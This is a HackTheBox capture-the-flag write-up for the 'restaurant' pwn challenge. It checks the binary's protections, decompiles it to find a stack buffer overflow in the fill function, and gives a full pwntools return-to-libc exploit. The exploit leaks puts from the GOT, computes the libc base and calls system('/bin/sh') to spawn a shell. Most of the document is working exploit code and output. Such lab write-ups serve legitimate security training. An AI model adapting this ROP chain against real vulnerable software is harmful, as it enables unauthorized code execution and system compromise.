Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don't overdo it..
Basic File Enumeration :
the file is a 64bit binary dynamically linked and not stripped which makes the binary reversing easier since the symbols will not be obfuscated, the only protection enabled is NX which makes the user input not executable in the stack so we cannot inject shellcode
┌──(kali㉿kali)-[~/hackthebox/pwn/restaurant]
└─$ file restaurant
restaurant: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=34d48877c9e228a7bc7b66b34f0d4fa6353d20b4, not stripped
┌──(kali㉿kali)-[~/hackthebox/pwn/restaurant]
└─$ checksec --file=restaurant
[*] '/home/kali/hackthebox/pwn/restaurant/restaurant'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
let's open the binary with ghidra and take a look at the functions
first we have the main function which give the user option to choose between fill or drink
undefined8 main(void)
{
int UserOption;
setup();
color(&DAT_00401250,&DAT_00401118,&DAT_00401144);
color("\nWhat would you like?","green");
printf("\n1. Fill my dish.\n2. Drink something\n> ");
__isoc99_scanf(&%d,&UserOption);
if (UserOption == 1) {
fill();
}
else {
if (UserOption != 2) {
color("\nInvalid option! Exiting..\n",&DAT_004010fa,&DAT_00401144);
/* WARNING: Subroutine does not return */
exit(0x105);
}
drink();
}
return 0;
}
the interesting function is fill since it reads user input into a 0x32 local variable and takes up to 0x400 which gives very high space for buffer overflow, the drink function is not interesting since there is no vulenrability there
void fill(void)
{
undefined8 local_28;
undefined8 local_20;
undefined8 local_18;
undefined8 local_10;
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_10 = 0;
color("\nYou can add these ingredients to your dish:","green",&DAT_00401144);
puts(&DAT_004011a5);
color("You can also order something else.\n> ","green",&DAT_00401144);
read(0,&local_28,0x400);
printf("\nEnjoy your %s",&local_28);
return;
}
so to exploit this binary we will perform a return to libc attack (Ret2Libc Attack)since the binary is dynamically linked and there is no win functin to return to.
so to do it we will need to stages of payload the first will leak some function address from the Global Offset Table (GOT) and then use this address to calculate the libc base address and then we can find the system address which we will call in the second payload with '/bin/sh' as parameter to get shell.
Exploit :
from pwn import *
def start(argv=[], *a, **kw) :
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Set up pwntools for the correct architecture
exe = './restaurant'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # Local
libc = ELF('./libc.so.6') # Remote
# Pass in pattern_size, get back EIP/RIP offset
offset = 40
# Start program
io = start()
# POP RDI and RET Gadgets from ropper
pop_rdi = 0x4010a3
ret = 0x40063e
# Payload to leak libc function
payload = flat({
offset: [
pop_rdi,
elf.got.puts,
elf.plt.puts,
elf.symbols.main
]
})
# Send the payload
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'> ', payload)
firstLine = io.recvline()
secondLine= io.recvline()
# print("firstLine: ", firstLine)
# print("secondLine: ", secondLine) # secondLine: b'Enjoy your aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaa\xa3\x10@ (IA\x1b\x7f\n'
# print("secondLine extracted leak: ", secondLine[-7:-1]) #getLeaked: b' (IA\x1b\x7f'
# Retrieve got.puts address
# the leaked is at the end of the second line and ends with newline char "\n"
# so we will extract the last 6 bytes and remove the newline character "\n"
got_puts = unpack(secondLine[-7:-1].ljust(8,b'\x00'))
info('Leaked got.puts: %#0x', got_puts) # 0x7f1b41492820
# Subtract puts offset to get libc base
libc.address = got_puts - libc.symbols.puts
info("libc_base: %#x", libc.address)
# System(/bin/sh)
info("system_addr: %#x", libc.symbols.system)
bin_sh = next(libc.search(b'/bin/sh\x00'))
info("bin_sh: %#x", bin_sh)
# Payload to get shell
payload = flat({
offset: [
ret, #stack alignement issues
pop_rdi,
bin_sh,
libc.symbols.system
]
})
# Send the payload
io.sendline(b'1')
io.sendline(payload)
# Got Shell?
io.interactive()